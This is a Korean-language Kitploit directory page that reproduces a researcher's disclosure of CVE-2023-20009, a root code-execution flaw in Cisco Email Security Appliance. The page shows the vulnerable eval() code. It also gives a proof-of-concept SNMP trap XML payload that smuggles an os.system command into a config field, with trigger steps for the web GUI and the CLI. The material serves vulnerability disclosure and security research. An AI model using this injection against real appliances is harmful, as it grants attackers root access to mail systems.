Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cisco-CVE-2023-20009 — Cisco Email Security Appliance: 원격 코드 실행 - 설정 파일로부터 RCE | Kitploit
도구/GitHubGitHub/ly1g3/cisco-cve-2023-20009
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubly1g3/cisco-cve-2023-20009

cisco-CVE-2023-20009

Cisco Email Security Appliance: 원격 코드 실행 - 설정 파일로부터 RCE

저장소 보기
122개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

소개

보안 연구원: ly1g3, ly1g3[at]tuta.io

GPG 지문: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

개요: 원격 코드 실행 - 설정 파일로부터의 RCE

CVE: CVE-2023-20009

타임라인:

  • 발견 - ly1g3
  • 보고 - ly1g3
  • 수정 - Cisco

Cisco AsyncOS 14.2.0

ESA (Cisco Secure Email) 및 Cisco Secure Email and Web Manager

권한 상승 - 루트 셸

SNMP-config에 대한 권한이 있는 인증된 사용자는 특수하게 조작된 SNMP 트랩 구성을 사용하여 루트로 임의 코드를 실행할 수 있습니다.

기술

악용된 코드 ui_checker.py:

root@kitploit:~
def validate_trap_configuration(base, value_dict):
    validators = eval('read_var_auto_level_wrapper("snmp.%s_traps.configuration_class", non_editable_var=True)' % (base,))
    for k, v in value_dict.iteritems():
        if validators.has_key(k):
            base, conf_class_str = validators[k].rsplit('.', 1)
            module = __import__(base, fromlist=[conf_class_str])
            conf_class = eval('module.%s("%s")' % (conf_class_str, v))
        else:
            raise FilterError('validate_%s_trap_configuration_value' % (base,),
                              _("Trap does not allow configuration"), k)
    return value_dict

v는 common_trap.common_configuration의 값을 포함하게 됩니다.

root@kitploit:~
<common_trap>
    <common_name>connectivityFailure</common_name>
    <common_enabled>0</common_enabled>
    <common_configuration>http://asd.asd.&quot;+os.system(&quot;touch test.txt&quot;))#,5</common_configuration>
    </common_trap>
<common_trap>

WEB-GUI를 이용한 트리거 단계:

  1. https://192.168.1.10/system_administration/configuration_file
  2. "로컬 컴퓨터에서 설정 파일 불러오기"
  3. 현재의 connectivityFailure 필드를 위의 페이로드로 교체하십시오.

CLI를 이용한 트리거 단계:

  1. loadconfig
  2. 페이로드 붙여넣기
도구 다운로드